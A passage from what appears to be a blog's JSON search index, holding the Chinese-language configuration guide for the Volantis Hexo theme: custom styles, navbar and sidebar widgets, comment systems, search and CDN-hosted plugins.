之前的文字将会被视为摘要。首页中将只出现这部分文字,同时这部分文字也会出现在正文之中。详见 Hexo 官方文档: Hexo 官方文档 #标签插件https://hexo.io/zh-cn/docs/tag-plugins"},{"title":"主题配置","date":"2022-03-09T10:54:33.447Z","updated":"2022-03-09T10:54:33.447Z","comments":true,"path":"v4/theme-settings/index.html","permalink":"https://blog.aoian.cn/v4/theme-settings/","excerpt":"","text":"创建主题配置文件主题目录下的 _config.yml 文件通常负责主题相关配置,我们强烈建议您使用代替的主题配置文件以防止自己的配置丢失。那么如何使用代替主题配置文件呢? 第 1/2 步:创建配置文件 在博客根目录的 _config.yml 文件旁边新建一个文件: _config.volantis.yml ,这个文件中的配置信息优先级高于主题文件夹中的配置文件。 第 2/2 步:覆盖自定义配置 当您需要修改某项内容时,例如导航栏菜单,那么您需要在主题配置文件中找到相关内容,复制进自己创建的配置文件中:blog/_config.volantis.ymlnavbar: visiable: auto # always, auto logo: # choose [img] or [icon + title] img: https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/[email protected] icon: title: menu: - name: 博客 icon: fas fa-rss url: /小提示使用「npm i hexo-theme-volantis」方式安装的主题,主题配置文件在「blog/node_modules/hexo-theme-volantis/_config.yml」使用传统方式安装的主题,主题配置文件在「blog/themes/volantis/_config.yml」 自定义主题外观最大布局宽度blog/_config.volantis.ymlcustom_css: ... max_width: 1080px # Sum of body width and sidebar width 网页所呈现的内容的最大宽度,即 body 和 sidebar 的宽度之和。 抗锯齿blog/_config.volantis.ymlcustom_css: ... font_smoothing: true # font-smoothing for webkit 自定义光标样式blog/_config.volantis.ymlcustom_css: ... cursor: enable: true text: https://cdn.jsdelivr.net/gh/inkss/common@master/cursor/text.png pointer: https://cdn.jsdelivr.net/gh/inkss/common@master/cursor/pointer.png default: https://cdn.jsdelivr.net/gh/inkss/common@master/cursor/left_ptr.png not-allowed: https://cdn.jsdelivr.net/gh/inkss/common@master/cursor/circle.png zoom-out: https://cdn.jsdelivr.net/gh/inkss/common@master/cursor/zoom-out.png zoom-in: https://cdn.jsdelivr.net/gh/inkss/common@master/cursor/zoom-in.png grab: https://cdn.jsdelivr.net/gh/inkss/common@master/cursor/openhand.png 导航栏样式您可以设置导航栏的高度以及视觉特效,视觉特效目前可选的有: shadow:卡片阴影。 floatable:当鼠标移动到容器内时,呈现出浮起来的效果。 blur:背景模糊效果(毛玻璃),当浏览器不支持时显示为不透明。 blog/_config.volantis.ymlcustom_css: ... navbar: height: 64px effect: [shadow, blur] # [shadow, floatable, blur] 滚动条样式blog/_config.volantis.ymlcustom_css: ... scrollbar: size: 4px border: 2px color: '#2196f3' hover: '#ff5722' 侧边栏样式视觉特效参数同上,值得注意的是:卡片的 floatable 效果和 blur 效果相冲突。 blog/_config.volantis.ymlcustom_css: ... sidebar: effect: [shadow] # [shadow, floatable, blur] 正文区域样式视觉特效参数同上,值得注意的是:卡片的 floatable 效果和 blur 效果相冲突。您可以在 language: true 这里设置代码块显示语言名称。text_align 可以设置 h1/h2/h3/h4/p 的文字对齐方向。 blog/_config.volantis.ymlcustom_css: ... body: effect: [shadow] # [shadow, floatable, blur] highlight: language: true # show language of codeblock copy_btn: true text_align: # left, right, justify, center h1: left h2: left h3: left h4: left p: justify note: # style for default note: {% note text %} icon: '\\f054' color: '' 布局间距您可以设置几种标题的布局间距 h2/h3/h4、段落间距 line、区块内部的段落间距 inline。 blog/_config.volantis.ymlcustom_css: ... gap: h2: 48px # Spacing above H2 (only px unit) h3: 32px # Spacing above H3 (only px unit) h4: 16px # Spacing above H4 (only px unit) paragraph: 1rem # Paragraph spacing between paragraphs row: .5rem # Paragraph spacing between other elements 自定义字体您可以自定义正文和代码字体。 blog/_config.volantis.ymlcustom_css: ... fontfamily: logofont: fontfamily: '"Varela Round", "PingFang SC", "Microsoft YaHei", Helvetica, Arial' name: 'Varela Round' url: https://cdn.jsdelivr.net/gh/volantis-x/cdn-fonts/VarelaRound/VarelaRound-Regular.ttf weight: normal style: normal bodyfont: fontfamily: 'UbuntuMono, "PingFang SC", "Microsoft YaHei", Helvetica, Arial' name: 'UbuntuMono' url: https://cdn.jsdelivr.net/gh/volantis-x/cdn-fonts/UbuntuMono/UbuntuMono-Regular.ttf weight: normal style: normal codefont: fontfamily: 'Menlo, Monaco' name: 'Monaco' url: https://cdn.jsdelivr.net/gh/volantis-x/cdn-fonts/Monaco/Monaco.ttf weight: normal style: normal 自定义颜色blog/_config.volantis.ymlcolor_scheme: # ------------ # 通用颜色 common: # 主题色 theme: '#44D7B6' # 链接色 link: '#2196f3' # 按钮色 button: '#44D7B6' # 鼠标放到交互元素上时的色 hover: '#ff5722' # 主题色块内部的文字颜色 inner: '#fff' # 选中区域文字的背景颜色 selection: 'alpha(#2196f3, 0.2)' # ------------ # 亮色主题(默认) light: # 网站背景色 site_bg: '#f4f4f4' # 网站背景上的文字 site_inner: '#fff' # 网站页脚文字 site_footer: '#666' # 卡片背景色 card: '#fff' # 卡片上的普通文字 text: '#444' # 区块和代码块背景色 block: '#f6f6f6' # 代码块高亮时的背景色 codeblock: '#FFF7EA' # 行内代码颜色 inlinecode: '#D56D28' # 文章部分 h1: '#444' h2: '#444' h3: '#444' h4: '#444' h5: '#444' h6: '#444' p: '#444' # 列表文字 list: '#666' # 列表 hover 时的文字 list_hl: 'mix($color-theme, #000, 80)' # 辅助性文字 meta: '#888' # ------------ # 暗色主题 dark: # 网站背景色 site_bg: '#222' # 网站背景上的文字 site_inner: '#eee' # 网站页脚文字 site_footer: '#aaa' # 卡片背景色 card: '#444' # 卡片上的普通文字 text: '#eee' # 区块和代码块背景色 block: '#3a3a3a' # 代码块高亮时的背景色 codeblock: '#343a3c' # 行内代码颜色 inlinecode: '#D56D28' # 文章部分 h1: '#eee' h2: '#eee' h3: '#ddd' h4: '#ddd' h5: '#ddd' h6: '#ddd' p: '#bbb' # 列表文字 list: '#aaa' # 列表 hover 时的文字 list_hl: 'mix($color-theme, #fff, 80)' # 辅助性文字 meta: '#888' # 夜间图片亮度 brightness: 70% 自定义右键菜单blog/_config.volantis.yml# 自定义右键菜单rightmenu: enable: true # hr: 分割线, music: 音乐控制器 layout: [home, help, examples, contributors, hr, source_docs, source_theme, hr, print, hr, dark_mode, hr, music] # 可选功能项 print: name: 打印页面 icon: fa fa-print onclick: document.execCommand('print') # 自定义菜单的格式如下 help: name: 常见问题 icon: fa fa-question url: https://volantis.js.org/faqs/ examples: name: 示例博客 icon: fa fa-rss url: https://volantis.js.org/examples/ contributors: name: 加入社区 icon: fa fa-fan fa-spin url: https://volantis.js.org/contributors/ source_docs: name: 本站源码 icon: fa fa-code-branch url: https://github.com/volantis-x/volantis-docs/ source_theme: name: 主题源码 icon: fa fa-code-branch url: https://github.com/volantis-x/hexo-theme-volantis/ dark_mode: name: Dark mode icon: fas fa-moon toggle: darkmode 设置网站导航栏导航栏配置导航栏分为 logo、menu、search 三个区域设置,其中 logo 区域如果设置了图片,则不能显示图标和标题, menu 区域的设置可以写在一个单独的文件中。 blog/_config.volantis.yml# 注意事项:建议规范全站路径 URL 最后带一个 "/" 例如 "about/"navbar: logo: # choose [img] or [icon + title] img: icon: title: menu: # The following can be written in `blog/source/_data/menu.yml` - name: 博客 icon: fas fa-rss url: / - name: 分类 icon: fas fa-folder-open url: categories/ - name: 标签 icon: fas fa-tags url: tags/ - name: 归档 icon: fas fa-archive url: archives/ - name: 友链 icon: fas fa-link url: friends/ - name: 关于 icon: fas fa-info-circle url: about/ search: 搜索 # Search bar placeholder 使用数据文件 建议新建一个文件,专门存放导航栏菜单配置,文件的路径为: blog/source/_data/menu.yml 文件的内容为: blog/source/_data/menu.yml- name: 博客 icon: fas fa-rss url: /... 菜单嵌套导航栏菜单支持嵌套,嵌套的属性名为 rows ,写法示例: blog/source/_data/menu.yml...- name: 更多 icon: fas fa-ellipsis-v rows: - name: 主题源码 url: https://github.com/volantis-x/hexo-theme-volantis/ - name: 更新日志 url: https://github.com/volantis-x/hexo-theme-volantis/releases/ - name: hr - name: 有疑问? rows: - name: 看 FAQ url: faqs/ - name: 看 本站源码 url: https://github.com/volantis-x/volantis-docs/ - name: 提 Issue url: https://github.com/volantis-x/hexo-theme-volantis/issues/ - name: hr - name: 公告和测试博文 url: archives/ - name: 示例博客 url: examples/ - name: 特别感谢 url: contributors/ 分割线在子菜单中,新增一个只有 name: hr 的“菜单”就会被渲染成一个分割线。 - name: hr 小标题在子菜单中,新增一个只有 name: 小标题内容(也可以有 icon: 小标题的图标)的“菜单”就会被渲染成一个小标题。 ...- name: 近期 icon: fas fa-clock url: / rows: - name: 热门文章 icon: fas fa-fire - name: ProHUD 开源库的设计思路 url: blog/2019-08-27-prohud/ - name: ValueX:实用的安全对象类型转换库 url: blog/2019-08-29-valuex/ - name: 心率管家 App 的设计与开发 url: blog/2019-07-23-heartmate/ 播放器在子菜单中,新增一个 icon: fas fa-compact-disc 的“菜单”就会被渲染成一个 APlayer 播放器。 - name: 背景音乐 icon: fas fa-compact-disc 设置网站页脚您通过 layout 可以自由布局网站页脚内容 aplayer, social, license, info, copyright。 blog/_config.volantis.ymlsite_footer: # layout of footer: [aplayer, social, license, info, copyright] layout: [aplayer, social, license, info, copyright] social: - icon: fas fa-rss url: atom.xml - icon: fas fa-envelope url: mailto:[email protected] - icon: fab fa-github url: https://github.com/xaoxuu - icon: fas fa-headphones-alt url: https://music.163.com/#/user/home?id=63035382 copyright: '[Copyright © 2017-2021 XXX](/)' # You can add your own property here. (Support markdown, for example: br: '<br>') br: '<br>' 其中,aplayer 需要在插件部分设置中启用。您可以新增文字属性,用于展示其它文字信息,例如: blog/_config.volantis.ymlsite_footer: layout: [..., br, hello, ...] ... # You can add your own property here. (Support markdown, for example: br: '<br>') br: '<br>' hello: '[Hello World](/)' 网站与文章封面封面高度blog/_config.volantis.ymlcover: height_scheme: full # full, half ... 目前主题提供两种首页封面高度方案,其它页面均为半屏幕高度。 封面布局方案blog/_config.volantis.ymlcover: ... scheme: dock # search (搜索), dock (坞), featured (精选), focus (焦点) ... 布局方案 适合场景 search 注重搜索 dock 入口选项比较多 featured 选项在4个左右 focus 选项在4个左右 默认显示设置blog/_config.volantis.ymlcover: ... display: home: true archive: false others: false # can be written in front-matter 'cover: true' 由于主页、归档是 hexo 自动生成的,您需要在主题配置文件中设置是否显示封面,而其它页面则可以在 front-matter 中通过设置 cover: true/false 来决定显示封面或者不显示封面。 文章布局配置# 文章布局article: # 文章列表页面的文章卡片布局方案 preview: scheme: landscape # landscape # pin icon for post pin_icon: https://cdn.jsdelivr.net/gh/twitter/[email protected]/assets/svg/1f4cc.svg # auto generate title if not exist auto_title: true # false, true # auto generate excerpt if not exist auto_excerpt: true # false, true # show split line or not line_style: solid # hidden, solid, dashed, dotted # show readmore button readmore: auto # auto, always # 文章详情页面的文章卡片本体布局方案 body: # 文章顶部信息 # 从 meta_library 中取 top_meta: [author, category, date, counter] # ---------------- # 文章页脚组件 footer_widget: # ---------------- # 参考资料、相关资料等 (for layout: post/docs) references: title: 参考资料 icon: fas fa-quote-left # 在 front-matter 中: # references: # - title: 某篇文章 # url: https:// # 即可显示此组件。 # ---------------- # 相关文章,需要安装插件 (for layout: post) # npm i hexo-related-popular-posts related_posts: enable: false title: 相关文章 icon: fas fa-bookmark max_count: 5 # 设为空则不使用文章头图 placeholder_img: https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/046.jpg # ---------------- # 版权声明组件 (for layout: post/docs) copyright: enable: true permalink: '本文永久链接是:' content: - '博客内容遵循 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0) 协议' - permalink # ---------------- # 打赏组件 (for layout: post/docs) donate: enable: false images: - https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/qrcode/[email protected] - https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/qrcode/[email protected] # 文章底部信息 # 从 meta_library 中取 bottom_meta: [updated, tags, share] # meta library meta_library: # 默认文章作者(可在 front-matter 中覆盖) author: avatar: name: 请设置文章作者 url: / # 文章创建日期 date: icon: fas fa-calendar-alt title: '发布于:' format: 'll' # 日期格式 http://momentjs.com/docs/ # 文章更新日期 updated: icon: fas fa-edit title: '更新于:' format: 'll' # 日期格式 http://momentjs.com/docs/ # 文章分类 category: icon: fas fa-folder-open # 文章浏览计数 counter: icon: fas fa-eye unit: '次浏览' # 文章评论数量:只支持 valine valinecount: icon: fas fa-comment-dots desc: '' # 条评论 # 文章字数和阅读时长 wordcount: icon_wordcount: fas fa-keyboard icon_duration: fas fa-hourglass-half # 文章标签 tags: icon: fas fa-hashtag # 分享 share: - id: qq img: https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/logo/128/qq.png - id: qzone img: https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/logo/128/qzone.png - id: weibo img: https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/logo/128/weibo.png - id: # qrcode # 当id为qrcode时需要安装插件 npm i hexo-helper-qrcode img: # https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/logo/128/wechat.png - id: # telegram img: # https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/logo/128/telegram.png 其中 top_meta 和 bottom_meta 部分的取值自 meta_library 库。 侧边栏配置侧边栏小组件与 meta 库不同的是:除了现有的 widget ,您可以很轻易地创建自己的 widget ,然后放在需要的地方。此外,您还可以将 widget 写在单独的文件中。 查看所有相关配置 blog/_config.volantis.ymlsidebar: # 主页、分类、归档等独立页面 for_page: [blogger, category, tagcloud, qrcode] # layout: docs/post 这类文章页面 for_post: [toc] # 侧边栏组件库 widget_library: # --------------------------------------- # blogger info widget blogger: class: blogger display: [desktop, mobile] # [desktop, mobile] avatar: https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/[email protected] shape: rectangle # circle, rectangle url: /about/ title: subtitle: jinrishici: true # Poetry Today. You can set a string, and it will be displayed when loading fails. social: true # --------------------------------------- # toc widget (valid only in articles) toc: class: toc display: [desktop, mobile] # [desktop, mobile] header: icon: fas fa-list title: 本文目录 list_number: false min_depth: 2 max_depth: 5 # --------------------------------------- # category widget category: class: category display: [desktop] # [desktop, mobile] header: icon: fas fa-folder-open title: 文章分类 url: /blog/categories/ # --------------------------------------- # tagcloud widget tagcloud: class: tagcloud display: [desktop, mobile] # [desktop, mobile] header: icon: fas fa-tags title: 热门标签 url: /blog/tags/ min_font: 14 max_font: 24 color: true start_color: '#999' end_color: '#555' # --------------------------------------- # qrcode widget donate: class: qrcode display: [desktop, mobile] # [desktop, mobile] height: 64px # Automatic height if not set images: - https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/qrcode/[email protected] - https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/qrcode/[email protected] # --------------------------------------- # webinfo widget webinfo: class: webinfo display: [desktop] header: icon: fas fa-award title: 站点信息 type: article: enable: true text: '文章数目:' unit: '篇' runtime: enable: true data: '2020/01/01' # 填写建站日期 text: '已运行时间:' unit: '天' wordcount: enable: true text: '本站总字数:' # 需要启用 wordcount unit: '字' siteuv: enable: true text: '本站访客数:' # 需要启用 busuanzi unit: '人' sitepv: enable: true text: '本站总访问量:' # 需要启用 busuanzi unit: '次' lastupd: enable: true friendlyShow: true # 更友好的时间显示 text: '最后活动时间:' unit: '日' 每一个小部件都有 class 和 display,前者代表这个小部件是什么,后者代表这个小部件在什么桌面和移动平台中是否显示,如果在移动平台显示,由于屏幕宽度有限,侧边栏的小部件则会被移动到正文区域下方,因此部分侧边栏小部件便失去意义,建议设置为仅桌面端显示。 小部件名: class: 小部件类别 display: [小部件在桌面端是否显示, 小部件在移动设备是否显示] 博主信息部件blog/_config.volantis.ymlblogger: class: blogger display: [desktop] # [desktop, mobile] avatar: https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/avatar/avatar.png title: subtitle: jinrishici: true # Poetry Today. You can set a string, and it will be displayed when loading fails. social: true 其中,今日诗词 jinrishici 如果设置为一个字符串,这个字符串会变成占位文字,加载失败时显示。如果不需要,就请设置为 jinrishici: false。social 的具体内容请在网站页脚部分设置。 文章目录部件blog/_config.volantis.ymltoc: class: toc display: [desktop, mobile] # [desktop, mobile] header: icon: fas fa-list title: 本文目录 list_number: false min_depth: 2 max_depth: 5 这个部件只能放置在侧边栏,并且在文章中有效。在移动设备中预览时,手指向上滑动时,导航栏右边会出现 TOC 按钮,点击即可展开 TOC 部件。如果您需要显示章节序号,请设置 list_number。 min_depth 和 max_depth 代表 TOC 支持的标题层级,最大范围是2~6。 文章分类部件blog/_config.volantis.ymlcategory: class: category display: [desktop] # [desktop, mobile] header: icon: fas fa-folder-open title: 文章分类 url: /blog/categories/ 这个部件可以直接显示所有文章分类,如果您希望有一个独立的页面来展示,需要自己创建一个文件,具体操作在「页面」部分文档中。 标签云部件blog/_config.volantis.ymltagcloud: class: tagcloud display: [desktop] # [desktop, mobile] header: icon: fas fa-tags title: 热门标签 url: /blog/tags/ min_font: 14 max_font: 24 color: true start_color: '#999' end_color: '#555' 这个部件可以直接显示所有文章的标签,如果您希望有一个独立的页面来展示,需要自己创建一个文件,具体操作在「页面」部分文档中。 二维码部件blog/_config.volantis.ymldonate: class: qrcode display: [desktop, mobile] # [desktop, mobile] height: 64px # Automatic height if not set images: - https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/qrcode/[email protected] - https://cdn.jsdelivr.net/gh/volantis-x/cdn-org/blog/qrcode/[email protected] 您可以放置在文章页脚用于展示打赏图片,也可以放置在侧边栏。 通用文本部件blog/_config.volantis.ymlrepos: class: text display: [desktop] # [desktop, mobile] header: icon: fab fa-github title: 点个赞吧 url: https://github.com/xaoxuu/ content: - '您的赞对我来说很重要,如果您喜欢本主题,希望能够给下面的项目点个赞来支持一下。' - '[<img src="https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/proj/prohud/logo.png" height="50px">](https://github.com/xaoxuu/ProHUD)' - '[<img src="https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/proj/valuex/logo.png" height="50px">](https://github.com/xaoxuu/ValueX)' - '[<img src="https://cdn.jsdelivr.net/gh/xaoxuu/cdn-assets/proj/inspire/logo.png" height="50px">](https://github.com/xaoxuu/Inspire)' 您可以创建用于展示任何文本内容的文本部件。 通用列表部件blog/_config.volantis.ymlwiki-hexo-theme: class: list display: [desktop, mobile] # [desktop, mobile] header: icon: fas fa-chevron-left title: Hexo Themes url: /wiki/ rows: - name: Volantis for Hexo url: /wiki/volantis/ - name: Resume for Hexo url: /wiki/resume/ 您可以创建用于展示任何链接列表的列表部件。列表的 rows 中的每一项支持的属性有: name、url、icon、img、avatar,其中 img 是方形图片的链接,avatar 是圆形图片的链接。 组索引这个部件的布局继承自 list 部件,用于展示文章所属的分组的文章列表。请将您的 Volantis 升级至 2.5 版本以上使用。 blog/_config.volantis.ymlgroup-1: class: group display: [desktop, mobile] # [desktop, mobile] header: icon: fab fa-github title: Git url: /wiki/git/ 在文章的 front-matter 中设置: front-mattergroup: group-1order: 16sidebar: [group-1, toc] 「group-1」卡片将会以列表的形式显示所有设置了 group: group-1 的文章,顺序按照 order 从小到大排列。 通用网格部件blog/_config.volantis.ymlfeedback: class: grid display: [desktop, mobile] header: icon: fas fa-headset title: 联系开发者 url: https://github.com/volantis-x/hexo-theme-volantis fixed: true # 固定宽度 rows: - name: 反馈BUG icon: fas fa-bug url: https://github.com/volantis-x/hexo-theme-volantis/issues/ - name: 疑问求助 icon: fas fa-question-circle url: https://github.com/volantis-x/hexo-theme-volantis/issues/ - name: 提个建议 icon: fas fa-lightbulb url: https://github.com/volantis-x/hexo-theme-volantis/issues/ 您可以创建用于展示任何链接列表的网格部件。网格默认根据文字长度自动确定每一个格子的宽度,如果文字长短不一,建议通过设置 fixed: true 来固定宽度,此时文字过长的格子中的文字会换行显示。 通用页面部件blog/_config.volantis.ymltest: class: page display: [desktop, mobile] pid: haha content: excerpt # excerpt, more, content 您可以把整个页面的md内容作为一个小部件渲染显示出来。只需要设置小部件里的 pid 属性和文章的 front-matter 中设置一样的 pid 即可。 content 代表这个部件显示的内容,可选 excerpt,more,content 分别对应文章的摘要、摘要后面的内容、全文。 选择评论系统目前支持的评论系统有: valine, twikoo, waline, minivaline, disqus, disqusjs, gitalk, vssue, livere, isso, hashover blog/_config.volantis.ymlcomments: title: <i class='fas fa-comments'></i> 评论 subtitle: service: valine # valine, twikoo, waline, minivaline, disqus, disqusjs, gitalk, vssue, livere, isso, hashover ValinetwikoowalineMiniValineVssueGitalkDisqusDisqusJSLivereIssoHashover... 一款快速、简洁且高效的无后端评论系统 https://valine.js.org blog/_config.volantis.ymlcomments: ... service: valine ... valine: # js: https://cdn.jsdelivr.net/npm/[email protected]/dist/Valine.min.js path: # 全局评论地址 目前设置全局评论地址后visitor失效,这是valine的问题 placeholder: 快来评论吧~ # 评论占位提示 # 其他配置项按照yml格式继续填写即可 除了 [el path placeholder emojiCDN emojiMaps] 选项 appId: # your appId appKey: # your appKey ... 可选配置项详见源码 其中,placeholder 支持在 front-matter 中设置。 front-matter---valine: placeholder: 你觉得xxx怎么样呢?--- 也可以通过设置 valine.path 实现多个页面共用一个评论框。 front-matter---valine: path: /--- 一个简洁、安全、免费的静态网站评论系统 | A simple, safe, free comment system. https://twikoo.js.org/ blog/_config.volantis.ymlcomments: ... service: twikoo ... twikoo: js: https://cdn.jsdelivr.net/npm/twikoo@latest # 建议锁定版本 path: # 全局评论地址 # 其他配置项按照yml格式继续填写即可 除了 [el path] 选项 envId: xxxxxxxxxxxxxxx # 腾讯云环境id 一个简洁、安全、免费的静态网站评论系统 | A simple, safe, free comment system. https://waline.js.org/ blog/_config.volantis.ymlcomments: ... service: waline ... # Waline # https://waline.js.org/ waline: js: https://cdn.jsdelivr.net/npm/@waline/client/dist/Waline.min.js path: # 全局评论地址 目前设置全局评论地址后visitor失效,这是waline的问题 placeholder: 快来评论吧~ # 评论占位提示 imageHosting: https://7bu.top/api/upload # 图床api(默认使用去不图床) # 其他配置项按照yml格式继续填写即可 除了 [el path placeholder uploadImage] 选项 serverURL: xxxxxxxxxxxxxxx # Waline 的服务端地址(必填) 测试用地址: https://waline-ruddy.vercel.app ... 可选配置项详见源码 一款快速、简洁且高效的无后端评论系统 https://github.com/MiniValine/MiniValine/ blog/_config.volantis.ymlcomments: ... service: minivaline ... # MiniValine # https://github.com/MiniValine/MiniValine minivaline: js: https://cdn.jsdelivr.net/npm/minivaline@latest path: # 全局评论地址 placeholder: 快来评论吧~ # 全局评论占位提示 # 更多选项 https://minivaline.js.org/docs/cn/#/Options 按照yml格式继续填写即可 (除了 [el path placeholder] 选项) # emoticonUrl 等列表选项 可参考 https://github.com/MiniValine/hexo-next-minivaline # 下面是一个例子: backend: waline serverURL: https://waline.vercel.app Vue 驱动的、基于 Issue 的评论插件 https://vssue.js.org/zh/ blog/_config.volantis.ymlcomments: ... service: vssue ... vssue: owner: repo: clientId: clientSecret: A modern comment component based on Github Issue and Preact. https://gitalk.github.io/ blog/_config.volantis.ymlcomments: ... service: gitalk ... gitalk: clientID: clientSecret: repo: owner: admin: # [] clientID 和 clientSecret 的获取方法可自行搜索教程,这里仅简单描述一下步骤: 点击 GitHub -> Settings https://github.com/settings/profile 点击 Developer settings https://github.com/settings/developers 点击 New OAuth App https://github.com/settings/applications/new 填写信息: Application name 随便填,我的是:xaoxuu.comHomepage URL 和 Authorization callback URL 都写你的网址,我的是:https://xaoxuu.com 可以通过设置 gitalk.id 实现多个页面共用一个评论框。 front-matter---gitalk: id: /wiki/volantis/--- Disqus - The #1 way to build an audience on your website. https://disqus.com/ blog/_config.volantis.ymlcomments: ... service: disqus ... disqus: shortname: Render Disqus comments in Mainland China using Disqus API https://github.com/SukkaW/DisqusJS blog/_config.volantis.ymlcomments: ... service: disqusjs ... # DisqusJS # https://github.com/SukkaW/DisqusJS disqusjs: path: # 全局评论地址 # 配置项按照yml格式继续填写即可 除了 [siteName url identifier] 选项 #shortname: #api: #apikey: #admin: #nesting: Communication makes better world. https://www.livere.com/ blog/_config.volantis.ymlcomments: ... service: livere ... livere: uid: #你的livere的uid 在这里查看你的 uid:https://livere.com/insight/myCode,在【代码管理 -> 一般网站】中找到如下这段代码,其中 data-uid 中的内容就是你的 livere_uid。 <!-- 来必力City版安装代码 --><div id="lv-container" data-id="city" data-uid="你的livere的uid">... A commenting server similar to Disqus. https://posativ.org/isso/ blog/_config.volantis.ymlcomments: ... service: isso ... isso: url: https://example.com/(path/) src: https://example.com/(path/)js/embed.min.js A free and open source PHP comment system designed to allow completely anonymous comments and easy theming. https://www.barkdull.org/software/hashover blog/_config.volantis.ymlcomments: ... service: hashover ... hashover: src: https://example.com/(path/)comments.phpblog/themes/volantis/layout/_third-party/comments/评论系统名称/layout.ejs这里写布局代码 blog/themes/volantis/layout/_third-party/comments/评论系统名称/script.ejs这里要写加载 js 的代码 收录更多评论系统 站内搜索blog/_config.volantis.ymlsearch: enable: true service: hexo # hexo, google, algolia, azure, baidu js: https://cdn.jsdelivr.net/gh/volantis-x/[email protected]/js/search.js google: apiKey: engineId: algolia: applicationID: apiKey: indexName: azure: serviceName: indexName: queryKey: baidu: apiId: 默认配置为 Hexo 搜索,但是需要安装插件才能使用: npm i -S hexo-generator-search hexo-generator-json-content 第三方插件插件库Volantis 为丰富的插件提供了兼容性优化。大部分插件您只需开启和关闭,无需进行设置。 blog/_config.volantis.ymlplugins: ################# required plugins ################ # jquery jquery: https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.min.js # fontawesome fontawesome: https://cdn.jsdelivr.net/npm/@fortawesome/[email protected]/css/all.min.css ################# optional plugins ################ ######### Plugins to improve loading speed: # 预加载 preload: enable: true service: flying_pages # instant_page, flying_pages instant_page: https://cdn.jsdelivr.net/gh/volantis-x/cdn-volantis@2/js/instant_page.js flying_pages: https://cdn.jsdelivr.net/gh/gijo-varghese/[email protected]/flying-pages.min.js # 图片懒加载 # https://www.npmjs.com/package/vanilla-lazyload lazyload: enable: true js: https://cdn.jsdelivr.net/npm/[email protected]/dist/lazyload.min.js onlypost: false loadingImg: # https://cdn.jsdelivr.net/gh/volantis-x/cdn-volantis@3/img/placeholder/c617bfd2497fcea598e621413e315c368f8d8e.svg blurIn: true # 模糊加载效果 (loadingImg为空时有效) ######### Plugins to optimize the experience: # highlight.js highlightjs: enable: #true # Please set hexo.config.highlight.enable = false !!! js: https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@10/build/highlight.min.js css: https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@10/build/styles/solarized-light.min.css # more: https://www.jsdelivr.com/package/npm/highlight.js?path=styles # https://scrollrevealjs.org/api/reveal.html scrollreveal: enable: #true js: https://cdn.jsdelivr.net/npm/[email protected]/dist/scrollreveal.min.js distance: 32px duration: 800 # ms interval: 20 # ms scale: 1 # 0.1~1 # Codeblock Copy Button clipboard: enable: #true js: https://cdn.jsdelivr.net/npm/clipboard@2/dist/clipboard.min.js ######### Plugins for SEO: # npm i hexo-wordcount wordcount: enable: #true ######### Plugins for ... # Button Ripple Effect nodewaves: enable: #true css: https://cdn.jsdelivr.net/npm/[email protected]/dist/waves.min.css js: https://cdn.jsdelivr.net/npm/[email protected]/dist/waves.min.js # fontawesome animation fontawesome_animation: enable: #true css: https://cdn.jsdelivr.net/gh/l-lin/font-awesome-animation/dist/font-awesome-animation.min.css # Typing Effects comment_typing: enable: #true js: https://cdn.jsdelivr.net/gh/volantis-x/cdn-volantis@2/js/comment_typing.js # Slide Background backstretch: enable: #true js: https://cdn.jsdelivr.net/npm/[email protected]/jquery.backstretch.min.js position: cover # cover: sticky on the cover. fixed: Fixed as background for the site. shuffle: true # shuffle playlist duration: 10000 # Duration (ms) fade: 1500 # fade duration (ms) (Not more than 1500) images: # For personal use only. At your own risk if used for commercial purposes !!! - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/001.jpg - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/002.jpg - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/003.jpg - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/004.jpg - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/005.jpg - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/006.jpg - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/012.jpg - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/016.jpg - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/019.jpg - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/025.jpg - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/033.jpg - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/034.jpg - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/035.jpg - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/038.jpg - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/039.jpg - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/042.jpg - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/046.jpg - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/051.jpg - https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper-minimalist/2020/052.jpg - 